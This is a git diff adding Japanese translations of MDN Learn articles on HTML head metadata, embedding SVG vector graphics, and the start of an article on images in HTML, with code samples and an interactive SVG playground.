+<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png"> +<!-- basic favicon --> +<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png"></pre> + +<p>コメントはそれぞれのアイコンの用途を説明しています。 — この要素は、ウェブサイトが iPad のホーム画面に保存された時のすばらしい高解像度なアイコンの提供といったことをカバーしています。</p> + +<p>こうした種類のアイコンをいますぐすべて実装することに心配しすぎないでください — これはかなり高度な機能で、このコースが進んでも分からないはずです。ここでの主な目的は、他のウェブサイトのソースコードを見た時に出くわした場合にこれらが何か知ることです。</p> + +<div class="note"> +<p><strong>メモ:</strong> もし、サイトがセキュリティを向上させるために Content Security Policy (CSP) を使用している場合、ポリシーがファビコンに適用されます。ファビコンが読み込まれないという問題に遭遇したら、 {{HTTPHeader("Content-Security-Policy")}} ヘッダーの <a href="/ja/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code> ディレクティブ</a>がアクセスを妨害していないかを確認してください。</p> +</div> + +<h2 id="Applying_CSS_and_JavaScript_to_HTML" name="Applying_CSS_and_JavaScript_to_HTML">HTML に CSS と JavaScript を追加する</h2> + +<p>最近のほとんどすべてのウェブサイトでは、格好よく見せるために {{glossary("CSS")}} や動画や地図、ゲームなどといったインタラクティブな機能を追加するために {{glossary("JavaScript")}} を用いています。これらは最も一般的に用いられ、それぞれ {{htmlelement("link")}} 要素、 {{htmlelement("script")}} 要素で表します。</p> + +<ul> + <li> + <p>{{htmlelement("link")}} 要素は必ず HTML 文書の head の中に置きます。二つの属性をとり、 rel="stylesheet" はこれが文書のスタイルシートであることを示し、 href はスタイルシートファイルへのパスを表します。</p> + + <pre class="brush: html notranslate"><link rel="stylesheet" href="my-css-file.css"></pre> + </li> + <li> + <p>{{htmlelement("script")}} 要素は head におく必要はありません。実際、文書の最後の body の後 (<code></body></code> タグを閉じる前) に置かれることが多いです。これはブラウザーは全ての HTML の内容をすべて読み込んだ後 JavaScript を適用しようとすることをはっきりさせるためです (もし、 JavaScript がまだ存在しない要素にアクセスしようとしたらブラウザはエラーを返します。)。</p> + + <pre class="brush: html notranslate"><script src="my-js-file.js"></script></pre> + + <p><strong>メモ</strong>: <code><script></code> 要素は空要素のように見えるかもしれませんが、そうではありませんので、終了タグが必要です。また、外部のスクリプトファイルを読み込むのではなく、 <code><script></code> 要素の中にスクリプトを置くこともできます。</p> + </li> +</ul> + +<h3 id="Active_learning_applying_CSS_and_JavaScript_to_a_page" name="Active_learning_applying_CSS_and_JavaScript_to_a_page">アクティブラーニング: ページに CSS と JavaScript を追加する</h3> + +<ol> + <li>アクティブラーニングを始めるにあたって、私たちの <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> ,<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a> をコピーしてローカルの同じフォルダに保存してください。ファイル名と拡張子が変わっていないことを確認してください。</li> + <li>HTML ファイルをブラウザとテキストエディタで開いてください。</li> + <li>先に述べた情報に従って、 {{htmlelement("link")}} 要素と {{htmlelement("script")}} 要素を HTML に書き加えてください。すると CSS と JavaScript が HTML に適用されます。</li> +</ol> + +<p>以上を正しく行い、 HTML を保存してブラウザを更新したら、変化がみられるでしょう。</p> + +<p><img alt="Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page." src="https://mdn.mozillademos.org/files/12359/js-and-css.png" style="display: block; margin: 0 auto;"></p> + +<ul> + <li>JavaScript が空のリストをページに追加しました。リスト内のどこかをクリックすると、ダイアログボックスが現れてリストの新しい要素となるテキストを入力するように求められます。 OK ボタンを押すと。リストに新しい要素が加わります。リストに既にある要素をクリックすると、ダイアログボックスが現れ要素の名前を変えることができます。</li> + <li>CSS によって背景は緑になり文字が大きくなっています。 JavaScript によってページに加えられたいくつかのコンテンツもスタイルが適用されます (黒い境界線の付いた赤いバーは、 JS が生成したリストに CSS が追加したスタイルです)。</li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: この演習で行きづまって CSS/JS が適用できなくなってしまった場合は、 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a> サンプルページをチェックしてみてください。</p> +</div> + +<h2 id="Setting_the_primary_language_of_the_document" name="Setting_the_primary_language_of_the_document">文書の主要な言語の設定</h2> + +<p>最後に、ページの言語を設定することができること (そしてそうすべきこと) に言及する価値があるでしょう。これは、 <a href="/ja/docs/Web/HTML/Global_attributes/lang">lang 属性</a>を開始 HTML タグに追加することで実現することができます (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a> に表示され、以下に表示されています)。</p> + +<pre class="brush: html notranslate"><html lang="en-US"></pre> + +<p>これは様々なところで役に立ちます。言語が設定されていれば、 検索エンジンによるHTML 文書のタグ付けがより効果的になりますし (たとえば、言語固有の結果を正しく表示できるようになるなど)、読み上げソフトを使用している視覚障碍者にとっても有用です ("six" はフランス語と英語の両方に存在しますが、発音が異なります)。</p> + +<p>文書のサブセクションを異なる言語として認識されるように設定することもできます。たとえば、次のようにすると日本語のセクションを日本語として認識されるように設定できます。</p> + +<pre class="brush: html notranslate"><p>Japanese example: <span lang="ja">ご飯が熱い。</span>.</p></pre> + +<p>これらのコードは <a href="https://ja.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a> 規格で定義されています。それらについての詳細は、 <a href="https://www.w3.org/International/articles/language-tags/">HTML と XML の言語タグ</a>にあります。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで HTML head の弾丸ツアーは終了します。ここでできることは他にもたくさんありますが、この段階では徹底的なツアーでは退屈で混乱を招くことになるでしょうから、もっとも一般的なことに関する考えだけを紹介したかったのです。たった今、そこに到達しました。次回の記事では、HTML テキストの基礎について説明します。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Head とは？HTML のメタデータ</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクを作成する</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">上級のテキスト整形</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">文書とウェブサイトの構造</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML をデバッグする</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">手紙をマークアップする</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">コンテンツページを構造化する</a></li> +</ul> diff --git a/files/ja/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/ja/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html new file mode 100644 index 0000000000..3431a47258 --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html @@ -0,0 +1,370 @@ +--- +title: ウェブにベクターグラフィックスを追加する +slug: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web +tags: + - Beginner + - Graphics + - Guide + - HTML + - Images + - Learn + - Raster + - SVG + - Vector + - iframe + - img + - ガイド + - グラフィックス + - ベクター + - ラスター + - 初心者 + - 学習 + - 画像 +translation_of: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<div class="summary"> +<p>ベクターグラフィックは多くの状況でとても便利です。 — ファイルサイズは小さく、スケーラビリティが高いため、ズームイン (拡大表示) したり、大きなサイズに拡大したりしてもモザイクになりません。この記事では、ウェブページにそれを組み込む方法を説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の基本</a>と、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">画像を文書に挿入する</a>方法を理解しておく必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>SVG (ベクター) 画像をウェブページに埋め込む方法を学びます。</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>メモ</strong>: この記事は SVG を教えるためのものではありません。 SVG が何であるかと、ウェブページに追加する方法について説明します。</p> +</div> + +<h2 id="What_are_vector_graphics" name="What_are_vector_graphics">ベクターグラフィックとは何か？</h2> + +<p>ウェブ上では、ラスター画像とベクター画像の2種類の画像を扱います。</p> + +<ul> + <li>ラスター画像は、ピクセルのグリッド (格子) を使用して定義されます。 — ラスター画像ファイルには、各ピクセルの配置場所を正確に示す情報と、その色を正確に示す情報が含まれています。一般的なウェブのラスター形式には、ビットマップ (<code>.bmp</code>)、 PNG (<code>.png</code>)、 JPEG (<code>.jpg</code>)、 GIF (<code>.gif</code>) などがあります。</li> + <li>ベクター画像はアルゴリズムを使用して定義されます。 — ベクター画像ファイルにはシェイプ (形状) とパス (経路) の定義が含まれており、画面に描画されるときに画像がどのような外見になるかを、コンピューターが理解するために利用することができます。 {{Glossary("SVG")}} 形式では、ウェブ上で使用するための強力なベクターグラフィックを作成することができます。</li> +</ul> + +<p>両者の違いを知るために、例を見てみましょう。この例は、 Github のリポジトリで <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/adding-vector-graphics-to-the-web/vector-versus-raster.html">vector-versus-raster.html</a> として公開されています。 — これは、2つの一見同一の黒い影付きの赤い星の画像を並べて表示しています。違いは、左のものが PNG 画像であり、右のものが SVG 画像であるということです。</p> + +<p>この違いは、ページをズームインすると明らかになります。 PNG 画像には、各ピクセルの位置（と色）に関する情報が含まれているため、ズームインするとピクセル化されます。 ズームインすると、各ピクセルのサイズが単純に拡大され、画面上の複数のピクセルが塗りつぶされるので、画像がギザギサに見えるようになります。 しかし、ベクター画像は大きさにかかわらず、アルゴリズムが画像内のシェイプを処理するために使用され、値が大きくなるにつれて単純に縮尺が変更されるため、きれいにくっきりと見えます。</p> + +<p><img alt="2つの星の画像" src="https://mdn.mozillademos.org/files/12866/raster-vector-default-size.png" style="display: block; height: 112px; margin: 0px auto; width: 223px;"></p> + +<p><img alt="2つの星の画像が拡大表示され、1つがくっきりになり、他の画像がギザギサになる" src="https://mdn.mozillademos.org/files/12868/raster-vector-zoomed.png" style="display: block; height: 328px; margin: 0px auto; width: 677px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: 上の画像は実際には全て PNG です — いずれの場合も、左の星はラスター画像を表し、右の星はベクター画像を表します。 実際の例については、<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/adding-vector-graphics-to-the-web/vector-versus-raster.html">vector-versus-raster.html</a> デモを参照してください！</p> +</div> + +<p>さらに、ベクター画像ファイルは、画像内のすべてのピクセルの情報ではなく、一握りのアルゴリズムを保持するだけで済むので、ラスター同等物よりもはるかに軽くなります。</p> + +<h2 id="What_is_SVG" name="What_is_SVG">SVG とは何か？</h2> + +<p><a href="/ja/docs/Web/SVG">SVG</a> は、ベクター画像を記述するための {{glossary("XML")}} ベースの言語です。これは基本的に HTML のようなマークアップですが、画像に表示するシェイプを定義するためのさまざまな要素と、それらのシェイプに適用する効果があります。 SVG は、コンテンツではなくグラフィックをマークアップするためのものです。最も単純なものとしては、 {{svgelement("circle")}} や {{svgelement("rect")}} のような単純なシェイプを作成するための要素があります。 {{svgelement("feColorMatrix")}} (変換行列を使用して色を変換)、 {{svgelement("animate")}} (ベクターグラフィックの一部をアニメーション化)、 {{svgelement("mask")}} (画像の上にマスクを適用する) など、より高度な SVG の機能もあります。</p> + +<p>簡単な例として、次のコードは円形と長方形を作成します。</p> + +<pre class="brush: html notranslate"><svg version="1.1" + baseProfile="full" + width="300" height="200" + xmlns="http://www.w3.org/2000/svg"> + <rect width="100%" height="100%" fill="black" /> + <circle cx="150" cy="100" r="90" fill="blue" /> +</svg></pre> + +<p>これにより、次の出力が生成されます。</p> + +<p>{{ EmbedLiveSample('What_is_SVG', 300, 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>上記の例から、 SVG が手作業で簡単に書けるという印象を受けるかもしれません。実際、単純な SVG ならばテキストエディターで手作業で記述することはできますが、複雑な画像では、すぐにとても困難になり始めます。 SVG 画像を作成するには、ほとんどの人が <a href="https://inkscape.org/en/">Inkscape</a> や <a href="https://ja.wikipedia.org/wiki/Adobe_Illustrator">Illustrator</a> のようなベクターグラフィックエディターを使用します。これらのパッケージでは、さまざまなグラフィックツールを使用してさまざまなイラストを作成したり、写真に近似したもの (たとえば、 Inkscape のトレースビットマップ機能) を作成したりすることができます。</p> + +<p>SVG にはこれまで説明したもの以外にも、いくつかの長所があります。</p> + +<ul> + <li>ベクター画像のテキストはアクセス可能です。 ({{glossary("SEO")}} にも役立ちます)。</li> + <li>SVG はスタイリングやスクリプティングに適しています。 これは、画像の各コンポーネントが、 CSS を使用してスタイルを設定したり、JavaScript を使用してスクリプトを作成できるためです。</li> +</ul> + +<p>では、なぜ誰もが SVG よりもラスターグラフィックを使いたがるのでしょうか？実際、SVG にはいくつかの短所があります。</p> + +<ul> + <li>SVG はとてもあっさりと複雑になり、ファイルサイズが大きくなる可能性があります。複雑な SVG もブラウザーでかなりの処理時間を要する可能性があります。</li> + <li>SVG は、作成しようとしている画像の種類によっては、ラスター画像よりも作成するのが難しい場合があります。</li> + <li>SVG は古いブラウザーが対応していないため、ウェブサイトで旧バージョンの Internet Explorer をサポートする必要がある場合に、適切でない可能性があります (SVG は IE9 から対応しています)。</li> +</ul> + +<p>ラスターグラフィックは、前述の理由から、写真などの複雑な高精度画像に対しては、ほぼ間違いなく優れています。</p> + +<div class="note"> +<p>メモ: Inkscape では、スペースを節約するためにファイルを Plain SVG として保存します。 また、<a href="http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html">ウェブ用の SVG を作成する方法について説明しているこの記事</a> (英語) を参照してください。</p> +</div> + +<h2 id="Adding_SVG_to_your_pages" name="Adding_SVG_to_your_pages">ページへの SVG の追加</h2> + +<p>この節では、SVG ベクターグラフィックをウェブページに追加するさまざまな方法を説明します。</p> + +<h3 id="The_quick_way_htmlelementimg" name="The_quick_way_htmlelement(img)">簡単な方法: {{htmlelement("img")}}</h3> + +<p>{{htmlelement("img")}} 要素を介して SVG を埋め込むには、予想通り、 <code>src</code> 属性で参照する必要があります。 <code>height</code> 属性または <code>width</code> 属性 (または SVG に固有のアスペクト比がない場合は両方) が必要です。まだ<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a>を終了していない人は、こちらをお読みください。</p> + +<pre class="brush: html notranslate"><img + src="equilateral.svg" + alt="3辺がすべて等しい三角形" + height="87px" + width="100px" /></pre> + +<h4 id="Pros" name="Pros">長所</h4> + +<ul> + <li>手早く、画像と同様の構文で、 <code>alt</code> 属性により同等のテキストを内蔵させることができる。</li> + <li><code><img></code> を {{htmlelement("a")}} 要素内に入れることで、画像を簡単にハイパーリンクにすることができる。</li> +</ul> + +<h4 id="Cons" name="Cons">短所</h4> + +<ul> + <li>JavaScript で画像を操作することはできません。</li> + <li>CSS で SVG コンテンツを制御する場合は、SVG コードにインライン CSS スタイルを含める必要があります。 (SVG ファイルから呼び出された外部スタイルシートは効果がありません。)</li> + <li>CSS の擬似クラス (<code>:focus</code> など) で画像のスタイルを変更することはできません。</li> +</ul> + +<h3 id="Troubleshooting_and_cross-browser_support" name="Troubleshooting_and_cross-browser_support">トラブルシューティングとクロスブラウザーの対応</h3> + +<p>SVG に対応していないブラウザー (IE 8 以前、Android 2.3 以前) では、 <code>src</code> 属性から PNG または JPG を参照し、 SVG を参照するために {{htmlattrxref("srcset", "img")}} 属性 (最近のブラウザーのみが認識する) を使用することができます。 この場合、対応しているブラウザーのみが SVG を読み込みます。 — 古いブラウザーは代わりに PNG を読み込みます。</p> + +<pre class="brush: html notranslate"><img src="equilateral.png" alt="辺が等しい三角形" srcset="equilateral.svg"></pre> + +<p>以下に示すように、 SVG を CSS の背景画像として使用することもできます。 以下のコードでは、古いブラウザーでは理解できる PNG を使用しますが、新しいブラウザーでは SVG を読み込みます。</p> + +<pre class="brush: css notranslate"><code>background: url("fallback.png") no-repeat center;</code> +<code>background-image: url("image.svg"); +background-size: contain;</code></pre> + +<p>上記の <code><img></code> 方式と同様に、 CSS 背景画像を使用して SVG を挿入すると、 SVG を JavaScript で操作することができず、同じ CSS の制限が適用されます。</p> + +<p>SVG がまったく表示されない場合は、サーバーが正しく設定されていない可能性があります。 それが問題なら、<a href="/ja/docs/Web/SVG/Tutorial/Getting_Started#A_Word_on_Webservers">この記事が正しい方向を指しています</a>。</p> + +<h3 id="How_to_include_SVG_code_inside_your_HTML" name="How_to_include_SVG_code_inside_your_HTML">HTML の中に SVG コードを組み込む方法</h3> + +<p>テキストエディターで SVG ファイルを開き、 SVG コードをコピーして HTML 文書に貼り付けることもできます。 これは、<strong>SVG をインラインにする</strong>、または <strong>SVG をインライン化する</strong>とも呼ばれます。 SVG コードスニペットは、{{svgelement("svg")}} タグで始まり、 <code><a href="/en-US/docs/Web/SVG/Element/svg"><svg></svg></a></code> タグで終わることを確認してください (これら以外のものは含めないでください)。文書に貼り付けることのできる簡単な例を次に示します。</p> + +<pre class="brush: html notranslate"><svg width="300" height="200"> + <rect width="100%" height="100%" fill="green" /> +</svg> +</pre> + +<h4 id="Pros_2" name="Pros_2">長所</h4> + +<ul> + <li>SVG をインラインで配置すると、 HTTP リクエストが節約されるので、読み込み時間が短縮されます。</li> + <li><code>class</code> と <code>id</code> を SVG 要素に割り当て、 SVG 内または HTML 文書の CSS スタイル規則を置く場所で、CSS でスタイルを設定することができます。 実際には、任意の <a href="/ja/docs/Web/SVG/Attribute#Presentation_attributes">SVG プレゼンテーション属性</a>を CSS プロパティとして使用できます。</li> + <li>SVG のインライン化は、CSS の相互作用（<code>:focus</code> など）と CSS アニメーションを（通常のスタイルシートでも）SVG 画像に使用できる唯一のアプローチです。</li> + <li>SVG マークアップを {{htmlelement("a")}} 要素でラップすることでハイパーリンクにすることができます。</li> +</ul> + +<h4 id="Cons_2" name="Cons_2">短所</h4> + +<ul> + <li>この方法は、SVG を1か所だけで使用している場合にのみ適しています。 複製はリソースを集中的に使用するメンテナンスを引き起こします。</li> + <li>余分な SVG コードは HTML ファイルのサイズを増加させます。</li> + <li>ブラウザーは、通常の画像をキャッシュするようにインライン SVG をキャッシュすることはできません。</li> + <li>{{svgelement("foreignObject")}} 要素に代替を含めることはできますが、SVG をサポートするブラウザーでは代替画像が引き続きダウンロードされます。 余分なオーバーヘッドが本当に価値があるかどうかは、陳腐化したブラウザーをサポートするかどうかで判断する必要があります。</li> +</ul> + +<ul> +</ul> + +<h3 id="How_to_embed_an_SVG_with_an_htmlelementiframe" name="How_to_embed_an_SVG_with_an_htmlelement(iframe)">{{htmlelement("iframe")}} で SVG を埋め込む方法</h3> + +<p>SVG 画像は、ウェブページのようにブラウザーで開くことができます。 したがって、SVG 文書を <code><iframe></code> に埋め込むことは、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a>で学んだように行われます。</p> + +<p>ここで簡単なレビューです。</p> + +<pre class="brush: html notranslate"><iframe src="triangle.svg" width="500" height="500" sandbox> + <img src="triangle.png" alt="3つの不等辺の三角形" /> +</iframe></pre> + +<p>これは間違いなく選択するには最良の方法ではありません。</p> + +<h4 id="Cons_3" name="Cons_3">短所</h4> + +<ul> + <li>ご覧のとおり、<code>iframe</code> には代替メカニズムがありますが、 <code>iframe</code> に完全に対応していない場合にのみ、ブラウザーに代替が表示されます。</li> + <li>さらに、 SVG と現在のウェブページが同じ{{glossary('origin',"オリジン")}}を持っていない限り、メインウェブページで JavaScript を使用して SVG を操作することはできません。</li> +</ul> + +<h2 id="Active_Learning_Playing_with_SVG" name="Active_Learning_Playing_with_SVG">アクティブラーニング: SVG で遊ぶ</h2> + +<p>このアクティブラーニングの節では、 SVG をとても楽しく遊ぶことができます。 下の入力セクションでは、始めるためのサンプルをすでに提供していることがわかります。 また、<a href="/ja/docs/Web/SVG/Element">SVG 要素のリファレンス</a>にアクセスして、SVG で使用できる他のおもちゃの詳細を調べて、それらを試してみることもできます。 このセクションでは、あなたの研究スキルを鍛え、楽しく学びましょう。</p> + +<p>コードが機能しなくなった場合は、[Reset] ボタンを使用していつでもリセットすることができます。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="width: 95%;min-height: 200px;"> + <svg width="100%" height="100%"> + <rect width="100%" height="100%" fill="red" /> + <circle cx="100%" cy="100%" r="150" fill="blue" stroke="black" /> + <polygon points="120,0 240,225 0,225" fill="green"/> + <text x="50" y="100" font-family="Verdana" font-size="55" + fill="white" stroke="black" stroke-width="2"> + Hello! + </text> + </svg> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution" disabled> +</div></pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = ''; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事では、ベクターグラフィックと SVG の概要、それらをなぜ知っておくと便利なのか、そして SVG をウェブページに組み込む方法について簡単に説明しました。 SVG を学ぶ上での完全なガイドとなることは決して考えられていませんでしたが、ウェブ上の旅行でそれに会っていれば、SVG が何であるかを知ることができます。 あなたがまだ SVG のエキスパートではないと感じたら心配しないでください。 もしそれがどう動くかについて詳しく知りたいなら助けになる以下のリンクを参考にしてください。</p> + +<p>このモジュールの最後の記事では、レスポンシブ画像を詳細に調査し、さまざまなデバイス間で画像をより良く動作させるための HTML ツールについて説明します。</p> + +<h2 id="See_also" name="See_also">関連項目</h2> + +<ul> + <li>MDN の <a href="/ja/docs/Web/SVG/Tutorial/Getting_Started">SVG チュートリアル</a></li> + <li><a href="http://thenewcode.com/744/Making-SVG-Responsive">レスポンシブ SVG のちょっとした助言</a> (英語)</li> + <li><a href="http://tympanus.net/codrops/2014/08/19/making-svgs-responsive-with-css/">Sara Soueidan のレスポンシブ SVG 画像に関するチュートリアル</a> (英語)</li> + <li><a href="http://www.w3.org/TR/SVG-access/">SVG のアクセシビリティ上の長所</a> (英語)</li> + <li><a href="https://css-tricks.com/scale-svg/">SVG を縮尺変更する方法</a> (ラスターグラフィックほど簡単ではありません！) (英語)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">ウェブにベクターグラフィックを追加する</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla のスプラッシュページ</a></li> +</ul> diff --git a/files/ja/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ja/learn/html/multimedia_and_embedding/images_in_html/index.html new file mode 100644 index 0000000000..4d5e14ae4f --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -0,0 +1,521 @@ +--- +title: HTML の画像 +slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +tags: + - Beginner + - Guide + - HTML + - Image + - alt text + - captions + - figcaption + - figure + - img + - ガイド + - キャプション + - 代替テキスト + - 初心者 + - 図表 + - 画像 + - 記事 +translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">最初は、Web は単なるテキストに過ぎず、とても退屈でした。幸運なことに、Web ページ内に画像 (および他のより興味深いタイプのコンテンツ) を埋め込む能力が追加されるまでにはあまり時間がかかりませんでした。考慮すべき他のタイプのマルチメディアもありますが、単純な画像を Web ページに埋め込むために使用される、慎ましい {{htmlelement("img")}} 要素から始めるのが理にかなっています。この記事では、基本的な使い方を含め、{{htmlelement("figure")}} を使ったキャプションの注釈付け、{{glossary("CSS")}} 背景画像との関連付けなど、詳細な使い方を見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータリテラシー、<a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">インストールされた基本ソフトウェア</a>、<a href="/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイル操作</a>の基本知識、HTML の基礎知識に精通していること (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML の使い方</a>を参照してください)。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>単純な画像を HTML に埋め込み、キャプションで注釈を付ける方法、および HTML 画像と CSS 背景画像との関連を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="How_do_we_put_an_image_on_a_webpage" name="How_do_we_put_an_image_on_a_webpage">画像を Web ページにどのように置くのですか？</h2> + +<p>単に画像を Web ページに配置するには、{{htmlelement("img")}} 要素を使用します。これは有用であるために少なくとも1つの属性 — <code>src</code> (フルタイトルやソースと呼ばれることもあります) を必要とする {{glossary("empty element","空要素")}} (テキストコンテンツまたは終了タグがないことを意味する) です。<code>src</code> 属性には、{{htmlelement("a")}} 要素の <code>href</code> 属性値と同じように、ページに埋め込む画像を指すパスが含まれ、相対 URL または絶対 URL にすることができます。</p> + +<div class="note"> +<p><strong>メモ</strong>: 続行する前に、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#A_quick_primer_on_URLs_and_paths">URL とパスに関する簡単な入門</a>を読んで、相対 URLと絶対 URL のメモリを更新してください。</p> +</div> + +<p>例えば、画像が <code>dinosaur.jpg</code> というファイル名で、HTML ページと同じディレクトリにある場合、画像を次のように埋め込むことができます。</p> + +<pre class="brush: html"><img src="dinosaur.jpg"></pre> + +<p>画像が HTML ページ (Google が {{glossary("SEO")}}/索引付けの目的で推奨するディレクトリ) 内の <code>images</code> 